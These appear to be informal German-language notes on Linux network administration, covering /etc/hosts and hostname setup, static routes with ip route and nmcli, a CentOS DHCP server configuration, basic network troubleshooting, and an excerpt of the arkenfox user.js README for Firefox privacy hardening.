/etc/hosts in der Datei kann man locale Namensauflösungen hinterlegen 127.0.0.1 [www.gulugulu.com](https://www.gulugulu.com) gulugulu (Adresse und alias eingetragen) ### Hostnamen festlegen
uname -nHostnamen anzeigen
uname -a zeigt alles an
hostname -f fgdn wird aus /etc/hosts übernommen
nano /etc/hostshier den namen anpassen bsp: 192.168.1.3 mint.hp mint
nano /etc/hostnamemint
hostname -F /etc/hostname
**Moderne variante**
hostnamectlzeigt alle sachen an
hostnamectl set-hostname "Ubuntu Desktop"Hostname ändern
## Statische Routen
`ip route add 172.16.20.128/25 via 192.168.1.1 dev eth0`Route festlegen des ausgehenden Interfaces
`route add -net 172.16.20.128 netmask 255.255.255.0 gw 192.168.1.1`
route -nzeigt an welche da
**Kann in Ubuntu über die GUI in IPv4 unter Strecken eingetragen werden**172.16.20.0 | 25 | 192.168.1.20
nmcli conn edit Kabelgebundene Verbindung
> print ipv4.routes: zeigt die routen an
> set ipv4.routes 10.10.10.0/24 192.168.1.1Bereich und Gateway
> save
> quit
nmcli conn down Kabelbebundene Verbindung 1
nmcli conn up Kabelgebundene Verbindung 1
## DHCP Server und Cent Os Installieren von DHCP ``` yum install dhcp -y ``` Sind im Server mehrere Netzwerkkarten vorhanden, binden wir den dhcp-Server an ein Interface. Dazu tragen wir in der **/etc/sysconfig/dhcpd** folgende Option ein: ``` # vim /etc/sysconfig/dhcpd ``` ``` # Command line options here DHCPDARGS=eth0 ``` ### Konfigurationsdatei bearbeiten Anschließend wird die Konfigurationsdatei unter **/etc/dhcpd.conf** entsprechend den eigenen Anforderungen angelegt. ``` # vim /etc/dhcp/dhcpd.conf ```
1. [/etc/dhcp/dhcpd.conf](https://dokuwiki.nausch.org/doku.php/centos:dhcp_c6?do=export_code&codeblock=1 "Schnipsel herunterladen")
``` subnet 10.0.10.0 netmask 255.255.255.192 { option routers 10.0.10.1; option subnet-mask 255.255.255.192; option nis-domain "nausch.org"; option domain-name "nausch.org"; option domain-search "dmz.nausch.org", "intra.nausch.org", "nausch.org"; option domain-name-servers 10.0.10.1; option time-offset -18000; # Eastern Standard Time option ntp-servers 10.0.10.1; option log-servers 10.0.10.1; range dynamic-bootp 10.0.10.50 10.0.10.62; default-lease-time 21600; max-lease-time 43200; } host pml010010 { hardware ethernet 00:22:68:5C:A4:8A; fixed-address 10.0.10.10; } ``` ### DHCP-Konfiguration überprüfen Bevor wir nun unseren DHCP-Server das erste mal starten, überprüfen wir unsere Konfiguration mit: ``` # service dhcpd configtest ``` ``` Syntax: OK ``` ### DHCP-Server starten Den ersten Start unseres DHCP-Server nehmen wir wie folgt vor. ``` # service dhcpd start ``` ``` dhcpd starten: [ OK ] ``` ## Fehlersuche im Netzwerk
1. Ping 8.8.8.8 2. ip a 3. ping default\_gateway 4. route -n
**routen bearbeiten** ``` sudo ip route del default via 192.168.1.1 sudo ip route add default via 192.168.1.254 # Diese Einstellung ist nicht dauerhaft ``` 5\. traceroute 8.8.8.8 6\. ip n zeigt neighbors an
# Firefox härten Um mehr Datenschutz mit dem Firefox zu erhalten, verwendet man arkenfox mit User.js [https://github.com/arkenfox/user.js/](https://github.com/arkenfox/user.js/) ### user.js [](https://github.com/arkenfox/user.js/#--userjs) A `user.js` is a configuration file that can control Firefox settings - for a more technical breakdown and explanation, you can read more in the [wiki](https://github.com/arkenfox/user.js/wiki/2.1-User.js) ### 🟩 the arkenfox user.js
[](https://github.com/arkenfox/user.js/#--the-arkenfox-userjs)
[![License: MIT](https://camo.githubusercontent.com/6cd0120cc4c5ac11d28b2c60f76033b52db98dac641de3b2644bb054b449d60c/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d49542d79656c6c6f772e737667)](https://opensource.org/licenses/MIT) The `arkenfox user.js` is a **template** which aims to provide as much privacy and enhanced security as possible, and to reduce tracking and fingerprinting as much as possible - while minimizing any loss of functionality and breakage (but it will happen). Everyone, experts included, should at least read the [wiki](https://github.com/arkenfox/user.js/wiki), as it contains important information regarding a few `user.js` settings. There is also an [interactive current release](https://arkenfox.github.io/gui/), thanks to [icpantsparti2](https://github.com/icpantsparti2). Note that we do *not* recommend connecting over Tor on Firefox. Use the [Tor Browser](https://www.torproject.org/projects/torbrowser.html.en) if your [threat model](https://2019.www.torproject.org/about/torusers.html) calls for it, or for accessing hidden services. Also be aware that the `arkenfox user.js` is made specifically for desktop Firefox. Using it as-is in other Gecko-based browsers can be counterproductive, especially in the Tor Browser.